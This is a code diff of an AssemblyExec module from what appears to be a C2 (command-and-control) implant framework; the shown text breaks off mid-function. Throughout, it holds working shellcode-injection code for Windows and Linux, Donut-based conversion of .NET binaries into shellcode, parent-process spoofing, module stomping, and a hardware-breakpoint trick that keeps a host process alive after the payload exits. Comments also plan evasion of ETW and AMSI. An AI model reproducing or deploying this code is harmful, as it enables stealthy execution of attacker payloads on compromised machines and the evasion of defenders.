" - assemblyExec thread\n"; - info += " - assemblyExec process\n"; - info += " - assemblyExec -r ./shellcode.bin\n"; - info += " - assemblyExec -e ./program.exe arg1 arg2\n"; - info += " - assemblyExec -e ./Seatbelt.exe -group=system\n"; - info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n"; + info += "AssemblyExec Module:\n"; + info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n"; + info += "Captures and returns any output produced by the shellcode.\n"; + info += "\nOptions:\n"; + info += " -r Use a raw shellcode file.\n"; + info += " -e [args] Use Donut to generate shellcode from a .NET executable.\n"; + info += " -d [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n"; + info += "\nExecution Modes:\n"; + info += " thread Inject and execute in a new thread\n"; + info += " process Inject into a newly spawned process\n"; + info += " processWithSpoofedParent Same as above, but with spoofed parent process\n"; + info += "\nExamples:\n"; + info += " - assemblyExec thread\n"; + info += " - assemblyExec process\n"; + info += " - assemblyExec -r ./shellcode.bin\n"; + info += " - assemblyExec -e ./program.exe arg1 arg2\n"; + info += " - assemblyExec -e ./Seatbelt.exe -group=system\n"; + info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n"; #endif - return info; + return info; } @@ -110,229 +110,229 @@ std::string AssemblyExec::getInfo() int AssemblyExec::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if(splitedCmd.size() == 2) - { - if(splitedCmd[1]=="thread") - { - m_isModeProcess = false; - c2Message.set_returnvalue("thread mode.\n"); - return -1; - } - else if(splitedCmd[1]=="process") - { - m_isModeProcess = true; - m_isSpoofParent = false; - c2Message.set_returnvalue("process mode.\n"); - return -1; - } - else if(splitedCmd[1]=="processWithSpoofedParent") - { - m_isModeProcess = true; - m_isSpoofParent = true; - c2Message.set_returnvalue("process mode with parent spoofing.\n"); - return -1; - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if (splitedCmd.size() >= 3) - { - bool donut=false; - std::string inputFile=splitedCmd[2]; - std::string method; - std::string args; - int pid=-1; + if(splitedCmd.size() == 2) + { + if(splitedCmd[1]=="thread") + { + m_isModeProcess = false; + c2Message.set_returnvalue("thread mode.\n"); + return -1; + } + else if(splitedCmd[1]=="process") + { + m_isModeProcess = true; + m_isSpoofParent = false; + c2Message.set_returnvalue("process mode.\n"); + return -1; + } + else if(splitedCmd[1]=="processWithSpoofedParent") + { + m_isModeProcess = true; + m_isSpoofParent = true; + c2Message.set_returnvalue("process mode with parent spoofing.\n"); + return -1; + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if (splitedCmd.size() >= 3) + { + bool donut=false; + std::string inputFile=splitedCmd[2]; + std::string method; + std::string args; + int pid=-1; - if(splitedCmd[1]=="-e") - { - donut=true; - for (int idx = 3; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-d") - { - donut=true; - if(splitedCmd.size() > 3) - method=splitedCmd[3]; - else - { - std::string msg = "Method is mandatory for DLL.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - for (int idx = 4; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-r") - { - } - else - { - std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(splitedCmd[1]=="-e") + { + donut=true; + for (int idx = 3; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-d") + { + donut=true; + if(splitedCmd.size() > 3) + method=splitedCmd[3]; + else + { + std::string msg = "Method is mandatory for DLL.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + for (int idx = 4; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-r") + { + } + else + { + std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(inputFile.empty()) + { + std::string msg = "A file name have to be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } + if(!myfile) + { + std::string newInputFile=m_toolsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); + if(!myfile) + { + std::string msg = "Couldn't open file.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + myfile.close(); - std::string payload; - if(donut) - { - // if we create a process we need to exite process with donut shellcode - // Otherwise we exite the thread - creatShellCodeDonut(inputFile, method, args, payload, true); - } - else - { - std::ifstream input(inputFile, std::ios::binary); - std::string payload_(std::istreambuf_iterator(input), {}); - payload=payload_; - } + std::string payload; + if(donut) + { + // if we create a process we need to exite process with donut shellcode + // Otherwise we exite the thread + creatShellCodeDonut(inputFile, method, args, payload, true); + } + else + { + std::ifstream input(inputFile, std::ios::binary); + std::string payload_(std::istreambuf_iterator(input), {}); + payload=payload_; + } - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(payload.size()==0) + { + std::string msg = "Something went wrong. Payload empty.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - std::string cmd; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - cmd+=splitedCmd[idx]; - cmd+=" "; - } + std::string cmd; + for (int idx = 1; idx < splitedCmd.size(); idx++) + { + cmd+=splitedCmd[idx]; + cmd+=" "; + } - if(m_isModeProcess == false) - c2Message.set_args(modeThread); - else if(m_isModeProcess == true && m_isSpoofParent == false) - c2Message.set_args(modeProcess); - else if(m_isModeProcess == true && m_isSpoofParent == true) - c2Message.set_args(modeprocessWithSpoofedParent); + if(m_isModeProcess == false) + c2Message.set_args(modeThread); + else if(m_isModeProcess == true && m_isSpoofParent == false) + c2Message.set_args(modeProcess); + else if(m_isModeProcess == true && m_isSpoofParent == true) + c2Message.set_args(modeprocessWithSpoofedParent); - c2Message.set_pid(pid); - c2Message.set_cmd(cmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(payload.data(), payload.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_pid(pid); + c2Message.set_cmd(cmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_data(payload.data(), payload.size()); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } int AssemblyExec::initConfig(const nlohmann::json &config) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - for (auto& it : config.items()) - { - if(it.key()=="process") - m_processToSpawn = it.value(); - else if(it.key()=="syscall") - m_useSyscall = true; - else if(it.key()=="isModeProcess") - m_isModeProcess = (bool)it.value(); - else if(it.key()=="spoofedParent") - { - m_isSpoofParent = true; - m_spoofedParent = it.value(); - } - } + for (auto& it : config.items()) + { + if(it.key()=="process") + m_processToSpawn = it.value(); + else if(it.key()=="syscall") + m_useSyscall = true; + else if(it.key()=="isModeProcess") + m_isModeProcess = (bool)it.value(); + else if(it.key()=="spoofedParent") + { + m_isSpoofParent = true; + m_spoofedParent = it.value(); + } + } #endif - return 0; + return 0; } int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string mode = c2Message.args(); - if(!mode.empty()) - { - if(mode==modeThread) - m_isModeProcess = false; - else if(mode==modeProcess) - { - m_isModeProcess = true; - m_isSpoofParent = false; - } - else if(mode==modeprocessWithSpoofedParent) - { - m_isModeProcess = true; - m_isSpoofParent = true; - } - } + std::string mode = c2Message.args(); + if(!mode.empty()) + { + if(mode==modeThread) + m_isModeProcess = false; + else if(mode==modeProcess) + { + m_isModeProcess = true; + m_isSpoofParent = false; + } + else if(mode==modeprocessWithSpoofedParent) + { + m_isModeProcess = true; + m_isSpoofParent = true; + } + } - const std::string payload = c2Message.data(); + const std::string payload = c2Message.data(); - std::string result; + std::string result; #ifdef __linux__ - whateverLinux(payload, result); + whateverLinux(payload, result); #elif _WIN32 - std::string processToSpawn="notepad.exe"; - std::string spoofedParent="explorer.exe"; - if(!m_processToSpawn.empty()) - processToSpawn=m_processToSpawn; - if(!m_spoofedParent.empty()) - spoofedParent=m_spoofedParent; + std::string processToSpawn="notepad.exe"; + std::string spoofedParent="explorer.exe"; + if(!m_processToSpawn.empty()) + processToSpawn=m_processToSpawn; + if(!m_spoofedParent.empty()) + spoofedParent=m_spoofedParent; - if(m_isModeProcess && !m_isSpoofParent) - createNewProcess(payload, processToSpawn, result); - else if(m_isModeProcess && m_isSpoofParent) - createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result); - else - createNewThread(payload, result); + if(m_isModeProcess && !m_isSpoofParent) + createNewProcess(payload, processToSpawn, result); + else if(m_isModeProcess && m_isSpoofParent) + createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result); + else + createNewThread(payload, result); #endif - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(c2Message.cmd()); - c2RetMessage.set_returnvalue(result); - - return 0; + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(c2Message.cmd()); + c2RetMessage.set_returnvalue(result); + + return 0; } @@ -341,89 +341,89 @@ int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) int AssemblyExec::whateverLinux(const std::string& payload, std::string& result) { - if(1) - { - pid_t pid = 0; - int pipefd[2]; + if(1) + { + pid_t pid = 0; + int pipefd[2]; - int ret = pipe(pipefd); //create a pipe - pid = fork(); //spawn a child process - if (pid == 0) - { - // Child. redirect std output to pipe, launch process - close(pipefd[0]); - dup2(pipefd[1], STDOUT_FILENO); + int ret = pipe(pipefd); //create a pipe + pid = fork(); //spawn a child process + if (pid == 0) + { + // Child. redirect std output to pipe, launch process + close(pipefd[0]); + dup2(pipefd[1], STDOUT_FILENO); - void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); - memcpy(page, payload.data(), payload.size()); - mprotect(page, payload.size(), PROT_READ|PROT_EXEC); - ((void(*)())page)(); - exit(0); - } + void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + memcpy(page, payload.data(), payload.size()); + mprotect(page, payload.size(), PROT_READ|PROT_EXEC); + ((void(*)())page)(); + exit(0); + } - pid_t child_process_pid = pid; - int child_process_output_fd = pipefd[0]; + pid_t child_process_pid = pid; + int child_process_output_fd = pipefd[0]; - //Only parent gets here. make tail nonblocking. - close(pipefd[1]); - fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK); + //Only parent gets here. make tail nonblocking. + close(pipefd[1]); + fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK); - std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); - while(1) - { - int status; - pid_t endID=waitpid(child_process_pid, &status, WNOHANG); - if (endID == -1) - break; - else if (endID == 0) - { - std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); - auto elapse = std::chrono::duration_cast(now - begin).count(); - if(elapse>=maxDurationShellCode) - { - kill(pid, SIGKILL); - break; - } - else - sleep(1); - } - } + std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); + while(1) + { + int status; + pid_t endID=waitpid(child_process_pid, &status, WNOHANG); + if (endID == -1) + break; + else if (endID == 0) + { + std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); + auto elapse = std::chrono::duration_cast(now - begin).count(); + if(elapse>=maxDurationShellCode) + { + kill(pid, SIGKILL); + break; + } + else + sleep(1); + } + } - char buf[1000]; - int nbBytes=1; - while(nbBytes) - { - nbBytes = read(child_process_output_fd, buf, 1000); - if(nbBytes) - result+=buf; - } - } + char buf[1000]; + int nbBytes=1; + while(nbBytes) + { + nbBytes = read(child_process_output_fd, buf, 1000); + if(nbBytes) + result+=buf; + } + } - if(0) - { - // inject in an other thread -> work but i cannot get the output - streambuf* oldCoutStreamBuf = cout.rdbuf(); - ostringstream strCout; - cout.rdbuf( strCout.rdbuf() ); - - std::thread t1(execShellCode, payload); - if(t1.joinable()) - t1.join(); + if(0) + { + // inject in an other thread -> work but i cannot get the output + streambuf* oldCoutStreamBuf = cout.rdbuf(); + ostringstream strCout; + cout.rdbuf( strCout.rdbuf() ); + + std::thread t1(execShellCode, payload); + if(t1.joinable()) + t1.join(); - cout.rdbuf( oldCoutStreamBuf ); - cout << strCout.str(); - } + cout.rdbuf( oldCoutStreamBuf ); + cout << strCout.str(); + } - if(0) - { - // inject here -> work but terminate the process - void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); - memcpy(page, payload.data(), payload.size()); - mprotect(page, payload.size(), PROT_READ|PROT_EXEC); - ((void(*)())page)(); - } + if(0) + { + // inject here -> work but terminate the process + void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + memcpy(page, payload.data(), payload.size()); + mprotect(page, payload.size(), PROT_READ|PROT_EXEC); + ((void(*)())page)(); + } - return 0; + return 0; } @@ -432,19 +432,19 @@ int AssemblyExec::whateverLinux(const std::string& payload, std::string& result) LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS * ExceptionInfo) { - if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) - { - BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), (PCHAR)"RtlExitUserProcess", 0); - if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) - { - // continue the execution - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution - //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandle("Kernel32.dll"), "ExitThread"); - } - return EXCEPTION_CONTINUE_EXECUTION; - } - return EXCEPTION_CONTINUE_SEARCH; + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), (PCHAR)"RtlExitUserProcess", 0); + if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) + { + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer + ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandle("Kernel32.dll"), "ExitThread"); + } + return EXCEPTION_CONTINUE_EXECUTION; + } + return EXCEPTION_CONTINUE_SEARCH; } @@ -452,328 +452,328 @@ LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS * ExceptionInfo) // loaded specialy for this purpose. It avoid to use VirtualAlloc. int AssemblyExec::createNewThread(const std::string& payload, std::string& result) { - StdCapture stdCapture; - stdCapture.BeginCapture(); + StdCapture stdCapture; + stdCapture.BeginCapture(); - char * ptr; - - // Module stomping - bool isModuleStomping = false; - if(isModuleStomping) - { - unsigned char sLib[] = "HologramWorld.dll"; - HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib); - ptr = (char *) hVictimLib + 2*4096 + 12; + char * ptr; + + // Module stomping + bool isModuleStomping = false; + if(isModuleStomping) + { + unsigned char sLib[] = "HologramWorld.dll"; + HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib); + ptr = (char *) hVictimLib + 2*4096 + 12; - DWORD oldprotect = 0; - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect); - RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); - } - else - { - DWORD oldprotect = 0; - ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE); - RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); - } - - HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0); + DWORD oldprotect = 0; + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect); + RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); + } + else + { + DWORD oldprotect = 0; + ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE); + RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); + } + + HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0); - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess"); - HANDLE phHwBpHandler; - int indexHWBP = 0; - set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess"); + HANDLE phHwBpHandler; + int indexHWBP = 0; + set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); - if (thread != NULL) - ResumeThread(thread); + if (thread != NULL) + ResumeThread(thread); - WaitForSingleObject(thread, maxDurationShellCode*1000); + WaitForSingleObject(thread, maxDurationShellCode*1000); - stdCapture.EndCapture(); - result+=stdCapture.GetCapture(); + stdCapture.EndCapture(); + result+=stdCapture.GetCapture(); - return 0; + return 0; } // OPSEC function to switch to syscall // OPSEC patch etw et amsi -// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet. +// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet. // OPSEC function to choose the process to inject to DWORD GetPidByName(const char * pName) { - PROCESSENTRY32 pEntry; - HANDLE snapshot; + PROCESSENTRY32 pEntry; + HANDLE snapshot; - pEntry.dwSize = sizeof(PROCESSENTRY32); - snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + pEntry.dwSize = sizeof(PROCESSENTRY32); + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (Process32First(snapshot, &pEntry) == TRUE) - { - while (Process32Next(snapshot, &pEntry) == TRUE) - { - if (_stricmp(pEntry.szExeFile, pName) == 0) - { - return pEntry.th32ProcessID; - } - } - } - CloseHandle(snapshot); - return 0; + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (_stricmp(pEntry.szExeFile, pName) == 0) + { + return pEntry.th32ProcessID; + } + } + } + CloseHandle(snapshot); + return 0; } // Create a new process in suspended mode to run the shellcode. int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result) { - // Init handles - HANDLE hChildStdOutRd = NULL; - HANDLE hChildStdOutWr = NULL; - HANDLE hChildStdErrRd = NULL; - HANDLE hChildStdErrWr = NULL; - HANDLE hParentStdOutWr = NULL; - HANDLE hParentStdErrWr = NULL; + // Init handles + HANDLE hChildStdOutRd = NULL; + HANDLE hChildStdOutWr = NULL; + HANDLE hChildStdErrRd = NULL; + HANDLE hChildStdErrWr = NULL; + HANDLE hParentStdOutWr = NULL; + HANDLE hParentStdErrWr = NULL; - // Set the bInheritHandle flag so pipe handles are inherited. - SECURITY_ATTRIBUTES sa; + // Set the bInheritHandle flag so pipe handles are inherited. + SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0); - SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); + SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); - // std::string pipeStdErr = "\\\\.\\pipe\\error"; - // int bufferSize = 512; - // hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); - // hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); + // std::string pipeStdErr = "\\\\.\\pipe\\error"; + // int bufferSize = 512; + // hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); + // hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); - // hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); + // hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); - CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); - SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); + CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); + SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); - // std::string pipeStdOut = "\\\\.\\pipe\\output"; - // hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); - // hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); - + // std::string pipeStdOut = "\\\\.\\pipe\\output"; + // hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); + // hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); + // Prepare the parent child spoofing - DWORD dwPid = 0; - dwPid = GetPidByName(spoofedParent.c_str()); - if (dwPid == 0) - dwPid = GetCurrentProcessId(); + DWORD dwPid = 0; + dwPid = GetPidByName(spoofedParent.c_str()); + if (dwPid == 0) + dwPid = GetCurrentProcessId(); HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); - if (!hParentProcess) - { - // result += "Error: Failed to open parent process." << GetLastError() << "\n"; + if (!hParentProcess) + { + // result += "Error: Failed to open parent process." << GetLastError() << "\n"; return 0; } - // Duplicate handles to the spoofed parent process - BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS); - res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS); + // Duplicate handles to the spoofed parent process + BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS); + res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS); // Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection. - STARTUPINFOEX siStartInfo = {}; + STARTUPINFOEX siStartInfo = {}; siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX); siStartInfo.StartupInfo.hStdError = hParentStdErrWr; siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr; siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES; - // Set up attributeList to set up the parent process + // Set up attributeList to set up the parent process SIZE_T attributeListSize = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize); PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize); if (!attributeList) - { - // result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n"; + { + // result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n"; - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); return 0; } if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize)) - { - // result += "Error: Failed to initialize attribute list." << GetLastError() << "\n"; - + { + // result += "Error: Failed to initialize attribute list." << GetLastError() << "\n"; + HeapFree(GetProcessHeap(), 0, attributeList); - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); return 0; } if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) - { - // result += "Error: Failed to set parent process attribute." << GetLastError() << "\n"; + { + // result += "Error: Failed to set parent process attribute." << GetLastError() << "\n"; DeleteProcThreadAttributeList(attributeList); HeapFree(GetProcessHeap(), 0, attributeList); - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); return 0; } - siStartInfo.lpAttributeList = attributeList; + siStartInfo.lpAttributeList = attributeList; // Create the child process - PROCESS_INFORMATION piProcInfo; - ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); - bool bSuccess = CreateProcessA(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo); + 